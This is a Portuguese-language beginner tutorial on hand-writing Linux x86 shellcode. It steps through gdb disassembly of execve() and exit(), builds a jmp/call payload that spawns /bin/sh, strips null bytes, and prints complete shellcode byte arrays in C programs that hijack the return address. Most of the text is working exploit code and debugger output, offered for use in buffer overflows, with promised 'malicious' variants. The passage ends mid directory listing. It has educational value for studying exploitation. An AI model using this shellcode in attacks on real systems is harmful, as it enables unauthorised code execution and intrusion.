MotdLabs

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 0x804815d : movl $0x0,0xfffffffc(%ebp) 0x8048164 : push $0x0 0x8048166 : lea 0xfffffff8(%ebp),%eax 0x8048169 : push %eax 0x804816a : mov 0xfffffff8(%ebp),%eax 0x804816d : push %eax 0x804816e : call 0x80483fc 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret End of assembler dump. (gdb) Bem amigo, vamos com calma, para quem nao tem conhecido basico de assembly sem duvida estah voando nas instrucoes acima, mas veremos abaixo,no decorrer, o que representa cada instrucao desta aih.Se voce eh fera em assembly, vai pulando! Vamos analisar o que estah sendo feito: 0x8048150

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp Essa tres primeiras linhas correspondem ao processo inicial ou procedimento preludio.O que essas linhas fazem eh aquilo que descrevi no inicio desse "capitulo" ,o que elas fazem eh: primeiro eh salvar o frame pointer antigo, em seguida faz do atual stack pointer o novo frame pointer(mov %esp,%ebp), logo apos autoriza espaco para as variaveis locais, onde no nosso caso eh: char *comando[2]; Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para duas words ou 8 bytes como vimos(sub $0x8,%esp).Continuando: 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo feito aih eh a copia do endereco da string "/bin/sh"(valor 0x8058b28) sobre o primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] = "/bin/sh". Continuando: 0x804815d : movl $0x0,0xfffffffc(%ebp) O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL, sobre o segundo ponteiro de comando[].Isto eh equivalente a: comando[1] = NULL; em nosso codigo shell.c acima.Continuando: 0x8048164 : push $0x0 Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando, o programa empurra os argumentos de execve em ordem inversa(do ultimo argumento para o primeiro) sobre o stack.Acima vimos que comeca com 0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL); Eh a este NULL que estamos nos referindo.Continuando: 0x8048166 : lea 0xfffffff8(%ebp),%eax Aqui ocorre o carregamento do endereco de comando[] sobre o registrador EAX.Continuando: 0x8048169 : push %eax Esse nao possui segredo, o que ocorreu foi que empurramos o endereco de comando[] que havia sido previamente carregado no registrado EAX sobre o Stack. Continuando: 0x804816a : mov 0xfffffff8(%ebp),%eax Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador EAX.Continuando: 0x804816d : push %eax Novamente a funcao push(), que nos diz dessa vez que estamos empurrando os dados do registrado EAX, que nesse caso eh o endereco da string "/bin/sh", sobre o Stack.Continuando: 0x804816e : call 0x80483fc Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos execve(), ou simplesmente a chamada propriamente dita da funcao execve(). A instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que apos a execucao de execve(), nosso programa termina, entao as linhas abaixo seguem para voltar as rotinas anteriores: 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho frame pointer, faz dele o stual stack pointer em seguida esvazia a pilha com pop. e ret retorna p/ o sistema. Agora analisaremos a funcao execve(); (gdb) disassemble execve Dump of assembler code for function execve: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx 0x8048400 : mov $0xb,%eax 0x8048405 : mov 0x8(%ebp),%ebx 0x8048408 : mov 0xc(%ebp),%ecx 0x804840b : mov 0x10(%ebp),%edx 0x804840e : int $0x80 0x8048410 : mov %eax,%edx 0x8048412 : test %edx,%edx 0x8048414 : jge 0x8048426 0x8048416 : neg %edx 0x8048418 : push %edx 0x8048419 : call 0x8050b28 <__normal_errno_location> 0x804841e : pop %edx 0x804841f : mov %edx,(%eax) 0x8048421 : mov $0xffffffff,%eax 0x8048426 : pop %ebx 0x8048427 : mov %ebp,%esp 0x8048429 : pop %ebp 0x804842a : ret 0x804842b : nop End of assembler dump. O codigo parece complicado a primeira vista,muitas instrucoes em assmebly, nao tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas em diversos tutoriais internet a fora.A maioria das coisas voce jah pode saber somente olhando e comparando com as explicacoes passadas. Mas vejamos: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx Isso eh o mesmo procedimento inicial descrito na explicacao sobre a funcao main().Pega-se o velho frame pointer e salva-o, em seguida faz do atual stack pointer o novo frame pointer e depois o empurra no stack. Continuando: 0x8048400 : mov $0xb,%eax Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde ao system call execve() na tabela de system calls do sistema.Voce pode conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso varia de linux para linux,mas creio que nao.Continuando: 0x8048405 : mov 0x8(%ebp),%ebx O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX. Continuando: 0x8048408 : mov 0xc(%ebp),%ecx Copiamos o endereco de comando[] sobre ECX. 0x804840b : mov 0x10(%ebp),%edx Copiamos o endereco do ponteiro nulo (NULL) sobre EDX. 0x804840e : int $0x80 Aqui nos mudamos para o modo kernel. Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da funcao execve(), esses comandos que seguem abaixo, jah sao mais complexos e acredite, creio serem inuteis para os nossos objetivos!!Uma vez que se entra no modo kernel, as intrucoes que seguem "nao fazem" parte do nosso programa.Se quiser ver como a coisa vai se complicando digite na linha de comandos do gdb "disassemble __normal_errno_location" e por aih vai. O estudo detalhado acima nos dah uma boa base para sabermos como funciona o processo de execucao de nosso programa shell.c em instrucoes de "maquina". Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode. Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode: 1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria. Lembrando que estamos querendo executar esse comando, se fosse outro, logico que poderiamos mudar isso, mas a coisa se complicaria ainda mais. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long.Por que isso? lembra do esquema: comando[1] = NULL; Se faz necessario isso aqui. 3. Copiar 0xb sobre o registrador EAX. Lembrando que de acordo com a tabela de system calls que podemos achar em /usr/include/sys/syscall.h, o numero decimal correspondente ao syscall execve() eh 11 (0xb). 4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX. 6. Copiar o endereco da word null long sobre o registrador EDX. 7. Executar a intrucao int $0x80. Para facilitar o aprendizado veremos como cada um dos passos citados acima, no nosso exemplo inicial de shellcode: 1. 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 2. 0x804815d : movl $0x0,0xfffffffc(%ebp) 3. 0x8048400 : mov $0xb,%eax 4. 0x8048405 : mov 0x8(%ebp),%ebx 5. 0x8048408 : mov 0xc(%ebp),%ecx 6. 0x804840b : mov 0x10(%ebp),%edx 7. 0x804840e : int $0x80 O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na construcao de um shellcode eficiente.Por exemplo,para evitar que o programa continue buscando instrucoes para o Stack, caso a funcao execve() falhe.Nos precisaremos usar um artificio que faca com que o programa saia limpamente, caso haja falha em execve().Sair limpamente significa voltar a linha de comando, sem que o programa busque dados aleatorios caso execve() falhe.Para fazermos isso basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos isso da seguinte forma: Pegamos e compilamos o programa abaixo: ------------------------------------------------------------------------ /* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE CASO EXECVE() FALHE Compile com: gcc -o saida -static -ggdb saida.c */ #include void main(){ exit(0); } ----------------------------------------------------------------------- Compilamos ele entao: [localhost:/]$ gcc -o saida -static -ggdb saida.c Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para vermos como isso fica em asm: [localhost:/]$gdb saida GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui). (gdb) disassemble _exit Dump of assembler code for function _exit: 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx 0x80483e8 <_exit+4>: mov $0x1,%eax 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx 0x80483f0 <_exit+12>: int $0x80 0x80483f2 <_exit+14>: mov 0xfffffffc(%ebp),%ebx 0x80483f5 <_exit+17>: mov %ebp,%esp 0x80483f7 <_exit+19>: pop %ebp 0x80483f8 <_exit+20>: ret 0x80483f9 <_exit+21>: nop 0x80483fa <_exit+22>: nop 0x80483fb <_exit+23>: nop End of assembler dump. Podemos facilmente ver algumas coisas, vamos analisar este codigo. 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx Procedimento inicial, o mesmo esquema descrito para a funcao execve() acima.Continuando: 0x80483e8 <_exit+4>: mov $0x1,%eax Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero correspondente ao system call exit() na tabela de system calls. Continuando: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos porque logo abaixo.quando virmos algumas linhas de main(). 0x80483f0 <_exit+12>: int $0x80 Muda para o modo kernel. Disassemblando main, teremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : push $0x0 0x8048155 : call 0x804829c 0x804815a : add $0x4,%esp 0x804815d : lea 0x0(%esi),%esi 0x8048160 : mov %ebp,%esp 0x8048162 : pop %ebp 0x8048163 : ret End of assembler dump. O que nos interessa para entendermos a linha <_exit+9> do codigo asm de exit() eh somente o seguinte: 0x8048153 : push $0x0 0x8048155 : call 0x804829c Como o Stack pega os argumento de tras para frente, na linha do nosso programa saida.c: exit(0), em asm teremos: push $0x0 -> Empurra 0 sobre o Stack. call exit -> Chama a funcao exit(). Isso tudo fica armazenado em: 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx Eis aih o porque. Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas retornam 0 na saida para indicar que nao possui erros.Se tiver acesso ao codigo fonte dos programas, verifique, porque isso pode muito bem mudar. Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita no exemplo acima, nossos passos em busca de um shellcode eficiente mudam. Teremos entao agora: 1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long. 3. Copiar 0xb sobre o registrado EAX. 4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX. 6. Copiar o endereco da null word long sobre o registrador EDX. 7. Executar a instrucao int $0x80. * Aqui comeca o exit(). 8. Copiar 0x1 sobre registrado EAX. 9. Copiar 0x0 sobre o registrador EBX. 10.Executar a instrucao $0x80. Como podemos ver, para a funcao exit() nao temos muita coisa,senao tres linhas apenas, expliquei tudo aquilo acima porque quero que voce entenda como a coisa funciona.Nao vejo como saber que necessitamos do passo 9, sem sabermos de onde vem esse 0x0. Lembrando que eh para Newbies que escrevo, nao o termo Newbie do livro "A Internet e os Hackers", onde a unica coisa que escapa neste livro eh a capa, tem um bom ditado para isso: "Nao julgue o livro pela capa!", quando falo Newbies, sao sim pesquisadores, pessoas com espirito com fome de conhecimento, mas que por um motivo ou outro, nao conseguem acesso a material de nivel.Manisfestos a parte, vamos continuando nossa jornada. Sabemos os passos que devemos seguir, entao iremos agora formar esses passos num esquema de codigos asm para facilitar ainda mais nosso aprendizado. O esquema seria mais ou menos o seguinte: movl endereco_da_string, endereco_do_endereco_da_string movb $0x0, endereco_do_byte_nulo movl $0x0, endereco_do_nulo movl $0xb, %eax movl endereco_da_string, %ebx leal endereco_da_string, %ecx leal string_nula, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh vem aqui. Podemos visualizar que estamos bem proximo de conseguir efetivar nosso shellcode.Mas surge um problema, nos nao sabemos onde no espaco da memoria do programa alvo nos iremos exploitar o codigo(e a string que segue ele serah colocada).Uma possivel solucao para isso, seria usar as instrucoes JMP e CALL para circular nosso codigo.Essas instrucoes podem usar enderecamento IP relativo, que despreza que nos podemos saltar para um offset do IP atual sem necessitar saber o endereco exato de onde na memoria nos queremos saltar.Se colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP para ela(instrucao CALL), o endereco da string serah empurrado sobre o Stack como o endereco de retorno(return address) quando CALL for executado.Exato amigo!! Acontecerah exatamente isto que voce estah imaginando.Mas para isso precisamos copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm: jmp offset-para-chamar # 2 bytes popl %esi # 1 byte movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-para-popl # 5 bytes /bin/sh vem aqui # 5 bytes Analizando bem o esquema acima, veremos algumas mudancas, nao nos conceitos,mas na sintaxe asm propriamente dita, onde (%esi) eh o source index, que se refere ao endereco da memoria onde se encontrarah a nossa string /bin/sh, lembrando amigo, que esse comando descrito no final do esquema acima,mais precisamente na ultima linha(/bin/sh), eh o que queremos executar a partir da shell.Voce poderia e pode, perfeita- mente colocar um comando, como "/bin/ls", para ver que isso se refere somente a um argumento para a execucao de um comando pela shell. Isto torna as coisas claras, no final desse exemplo com /bin/sh, eu acrescentarei alguns possiveis comandos substitutos para essa ultima linha, inclusive alguns exemplo de codigos maliciosos. Abaixo segue uma explicacao simples detalhando o que eh o eskema acima: jmp offset-para-chamar # 3 bytes popl %esi # 1 byte Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito faz saltar para o endereco, nesse caso offset, declarado em offset-para-chamar. Esse offset eh o endereco de call, apos isso, call chamarah popl %esi.Continuando: movl %esi, array-offset(%esi) # 3 bytes movb $0x0, nullbyte-offset(%esi) # 4 bytes movl $0x0, null-offset(%esi) # 7 bytes movl $0xb, %eax # 5 bytes movl %esi, %ebx # 2 bytes leal array-offset(%esi), %ecx # 3 bytes leal null-offset(%esi), %edx # 3 bytes int $0x80 # 2 bytes Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve(). Continuando: movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes Acima estao os codigos referentes a funcao exit(), descritos nos nossos passos de 8 a 10.Continuando: call offset-para-popl # 5 bytes /bin/sh vem aqui # 8 bytes Aih em cima podemos ver a instrucao call, responsavel por fazer o giro ou circulo.Essa instrucao chama a intrucao popl lah em cima.Voce pode estar se perguntando se esse giro nao seria um loop infinito.Na verdade isso nao acontece, lembrando, estamos trabalhando com assembly, como estamos manipulando enderecos de memoria, o endereco correspondente a instrucao call que eh saltada usando jmp no inicio, nao serah mais chamado, logo nao existe um loop infinito.Acho que as coisas sao mais claras para o pessoal que meche bem com "goto". :) Voce pode recapitular o item 6.4, caso ainda tenha duvida. O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah acontecendo aqui: Parte inferior Topo da Memoria da memoria buffer sfp ret a b c <---- [JJSSSSSSSSCCss] [ssss] [0xD8] [0x01] [0x02] [0x03] ^|^ ^| | |||_______||______________| ||_______|| |________| Topo do Stack Parte inferior do Stack Onde: J -> Refere a intrucao JMP. C -> Refere a instrucao CALL. S -> Codigo asm que queremos executar. s -> Codigo da string que queremos executar ("/bin/sh"). buffer -> Nosso buffer que conterah o shellcode.. sfp -> O frame pointer. --_ Para efeito de ret -> Endereco de retorno. -- overflows A seta indica para onde estah saltando a instrucao. Espero que tudo tenha clareado mais para voce.Em cima disso, podemos calcular os offsets necessarios para jmp saltar para call, de call para popl, do endereco da string para o array, e do endereco da string p/ a word null long. Caso alguem possua duvidas de como se descobrir os offsets, lembro novamente, eh bom aprender mais sobre assembly e praticar as operacoes com sistemas numericos(decimal,hexa e binario)!! Colocarei novamente o codigo para que nao haja duvidas sobre como saber o endereco dos offsets a chamar. jmp offset-para-chamar # 3 bytes popl %esi # 1 byte ------ <--------------- movl %esi, array-offset(%esi) # 3 bytes | | movb $0x0, nullbyte-offset(%esi) # 4 bytes | | movl $0x0, null-offset(%esi) # 7 bytes | | movl $0xb, %eax # 5 bytes | Somando tudo | movl %esi, %ebx # 2 bytes | teremos | leal array-offset(%esi), %ecx # 3 bytes -> 42 bytes | leal null-offset(%esi), %edx # 3 bytes |(0x2a em hexa) | int $0x80 # 2 bytes | | movl $0x1, %eax # 5 bytes | | movl $0x0, %ebx # 5 bytes | | int $0x80 # 2 bytes ______| | call offset-para-popl # 5 bytes --> 42 + 5 = 47(0x2f)--- /bin/sh vem aqui # 8 bytes Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em um programa C, com os respectivos enderecos calculados. Somente observe, nao compile ainda. #include #include void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } Existe um probleminha amigo, para que o nosso codigo funcione, necessitamos declarar ele como uma variavel global, para podermos colocar nosso codigo no Stack ou Segmento Data(onde teremos permissao de escrita) ,transferindo o controle para ele,pois nosso codigo modifica ele mesmo e muitos sistemas operacionais marcam paginas de codigos read-only(soh leitura).Para fazermos isso, necessitamos da representacao hexadecimal do codigo binario.Vejamos abaixo como fazer isso tudo: * Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe na linha de comando: [localhost:/]$gcc -o shell -g -ggdb shell.c * Em seguida executamos o debugador. [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) * Agora vem a parte que se exige mais paciencia do fucador.Muita gente acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal correspondente a cada uma da linha de comando.Para fazer isso voce digita o seguinte: (gdb)disassemble main Dump of assembler code for function main: 0x8048150

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x804817f 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : movb $0x0,0x7(%esi) 0x804815d : movl $0x0,0xc(%esi) 0x8048164 : mov $0xb,%eax 0x8048169 : mov %esi,%ebx 0x804816b : lea 0x8(%esi),%ecx 0x804816e : lea 0xc(%esi),%edx 0x8048171 : int $0x80 0x8048173 : mov $0x1,%eax 0x8048178 : int $0x80 0x804817a : call 0x8048150

0x804817f : das 0x8048180 : bound %ebp,0x6e(%ecx) 0x8048183 : das 0x8048184 : jae 0x80481ee <__new_exitfn+54> 0x8048186 : add %cl,0x90c35dec(%ecx) End of assembler dump. Isso voce jah sabe o que faz(mostra codigo asm do nosso programa),agora amigo para saber o codigo hexadecimal de cada um desses comandos, voce terah que digitar o seguinte " x/xb " como no esquema abaixo: (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x2a (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 . . . (gdb) x/xb main+56 0x8048188 : 0xec (gdb) x/xb main+57 0x8048189 : 0x5d (gdb) x/xb main+58 0x804818a : 0xc3 (gdb) x/xb main+59 0x804818b : 0x90 Voce comecarah com o indice "main+3" e irah ateh quando chegar o hexadecimal "0x90" que corresponde a instrucao NOP, que corresponte a uma instrucao vazia(sem operacao nenhuma), que faz com que o programa siga em frente, como se ela nao existisse (essa linha nao deve entrar no nosso shell code).Caso em outro shellcode feito por voce, isso nao apareca, coloque os hexadecimais ateh a ultima instrucao da funcao main(). Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa variavel global, como no esquema abaixo: /* Exemplo inicial de shellcode Compile com: $gcc -o shell1 shell1.c */ #include char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Depois de compilado voce pode executar ele normalmente, como no exemplo abaixo: [localhost:/]$ gcc -o shell1 shell1.c [localhost:/]$./shell1 bash$ exit exit Como podemos ver, ele funciona perfeitamente.Mas vou direcionar agora a solucao de um problema para aqueles que usarao shellcodes em buffer overflows.Nao podemos inserir ele num exploit sem antes tirar-lhe todos os bytes nulos(null bytes).Por que? Leia o tutorial sobre overflows que fiz, em breve na http://unsekurity.virtualave.net ...ele explica o porque disso. Seguindo em frente, para tirarmos os bytes nulos, seguimos o seguinte esquema: Instrucao com null byte Trocar por: ------------------------------------------------------------------------ movb $0x0,0x7(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl $0x0,0xc(%esi) movl %eax,0xc(%esi) ------------------------------------------------------------------------- movl $0xb,%eax movb $0xb,%al ------------------------------------------------------------------------- movl $0x1,%eax xorl %ebx,%ebx movl $0x0,%ebx movl %ebx,%eax inc %eax ------------------------------------------------------------------------- Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar os null bytes.Veremos entao como fica o nosso codigo apos a substituicao dos mesmos: /* Shellcode com sobstituicao dos null bytes */ #include main(){ __asm__(" jmp 0x1f #2 bytes popl %esi #1 byte movl %esi,0x8(%esi) #3 bytes xorl %eax,%eax #2 bytes movb %eax,0x7(%esi) #3 bytes movl %eax,0xc(%esi) #3 bytes movb $0xb,%al #2 bytes movl %esi,%ebx #2 bytes leal 0x8(%esi),%ecx #3 bytes leal 0xc(%esi),%edx #3 bytes int $0x80 #2 bytes xorl %ebx,%ebx #2 bytes movl %ebx,%eax #2 bytes inc %eax #1 byte int $0x80 #2 bytes call -0x24 #5 bytes .string \"/bin/sh\" #8 bytes "); } Compilamos entao usando a seguinte sintaxe: [localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c Em seguida usamos o debugador p/ novamente pegarmos o codigo em hexa: [localhost:/]$gdb shellnova1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb)disassemble main Dump of assembler code for function main: 0x8048150

: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x8048174 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : xor %eax,%eax 0x804815b : mov %al,0x7(%esi) 0x804815e : mov %eax,0xc(%esi) 0x8048161 : mov $0xb,%al 0x8048163 : mov %esi,%ebx 0x8048165 : lea 0x8(%esi),%ecx 0x8048168 : lea 0xc(%esi),%edx 0x804816b : int $0x80 0x804816d : xor %ebx,%ebx 0x804816f : mov %ebx,%eax 0x8048171 : inc %eax 0x8048172 : int $0x80 0x8048174 : call 0x8048155 0x8048179 : das 0x804817a : bound %ebp,0x6e(%ecx) 0x804817d : das 0x804817e : jae 0x80481e8 <__new_exitfn+52> 0x8048180 : add %cl,0x90c35dec(%ecx) End of assembler dump. (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x1f (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 (gdb) x/xb main+7 0x8048157 : 0x76 (gdb) x/xb main+8 0x8048158 : 0x08 (gdb) x/xb main+9 0x8048159 : 0x31 . . . 0x8048178 : 0xff Podemos perfeitamente parar por aqui e no nosso shellcode no codigo-fonte acrescentarmos a string /bin/sh que se refere ao que queremos executar. Fazendo isso teriamos o seguinte shellcode: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Mas se nos quisermos substituir a string /bin/sh por seu correspondente em hexadecimal, nos devemos continuar pegando os respectivos codigos hexa pelo debugador, ateh encontrarmos uma intrucao nop que corresponderah ao fim da funcao main().Vejamos: Haviamos para em

Continuando: (gdb) x/xb main+41 0x8048179 : 0x2f (gdb) x/xb main+42 0x804817a : 0x62 (gdb) x/xb main+43 0x804817b : 0x69 (gdb) x/xb main+44 0x804817c : 0x6e (gdb) x/xb main+45 0x804817d : 0x2f . . . 0x8048183 : 0x5d (gdb) x/xb main+52 0x8048184 : 0xc3 (gdb) x/xb main+53 0x8048185 : 0x90 (gdb) x/xb main+54 0x8048186 : 0x90 Como podemos ver chegamos ateh a instrucao NOP(0x90), logo nao incluiremos ela em nosso shellcode, devemos entao acrescentar ateh , fazendo entao nosso shellcode ficar assim: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; Feito isso tudo iremos agora inserir nosso exemplo de shellcode dentro de um codigo-fonte C. /* Simples Exemplo de Shellcode com string /bin/sh em hexa Compile com: $gcc -o shellnova2 shellnova2.c */ #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; void main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } O esquema na linha de comando seria: [localhost:/]$ gcc -o shellnova2 shellnova2.c [localhost:/]$ ./shellnova2 bash$ exit exit Como podemos ver perfeitamente, ele funciona bem como queriamos. Voce que vai usa-lo em buffer overflows,boa sorte!!Lembrando que alguns shellcodes devem ser usados p/ determinada situacao e outros p/ outras situacoes.Use seus neuronios, pense nas formas de ataque, e da necessidade de cada shellcode, vai fundo, nao deixe de estudar,pesquise,descubra!! Como prometido, disponibilizarei agora alguns esquemas que podemos fazer para executar alguns codigos maliciosos em cima deste exemplo descrito acima.Para os codigos que se seguem,tudo que devemos fazer eh substituir simplesmente, o comando "/bin/sh" que queremos executar, no final de nosso shellcode, por outro, de tamanho igual. Vejamos nosso shellcode como estah: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Eh essa string acima "/bin/sh", que estou me referindo, voce pode testar outros comandos inserindo-os no lugar dela,sendo que de tamanho igual, como /bin/ls, /bin/su, /bin/ed e por aih vai. Vejamos alguns exemplos bem praticos: + Simples shellcode para executar um ls; /* Shellcode que executa um ls */ #include /* Apenas trocamos /bin/sh por /bin/ls no final do shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Compilamos e executamos: [localhost:/]$ gcc -o shels shels.c [localhost:/]$ ./shels exe1.c heap3 shellcode2 exe2 heap3.c shellcode2.c exe2.c mall shellcode2.s exploit.txt mall.c shellcodeasm exploit1 mall1 shellcodeasm.c exploit1.c my shels exploit2 nistir4909 shels.c exploit2.c out.c shelsc exploit3 perlsec.txt shelsc.c exploit3.c review.txt sp exploit4 robust.txt sp.c exploit4.c seculinuxprog sta fake secure_prog_checklist sta.c fake_exp security-holes.txt suid fake_exp.c setuid.7.txt suid.c find sh1 taxonomy.ps full-cve.txt sh1.c testsc fuzz-revisited.ps.Z shel1.c 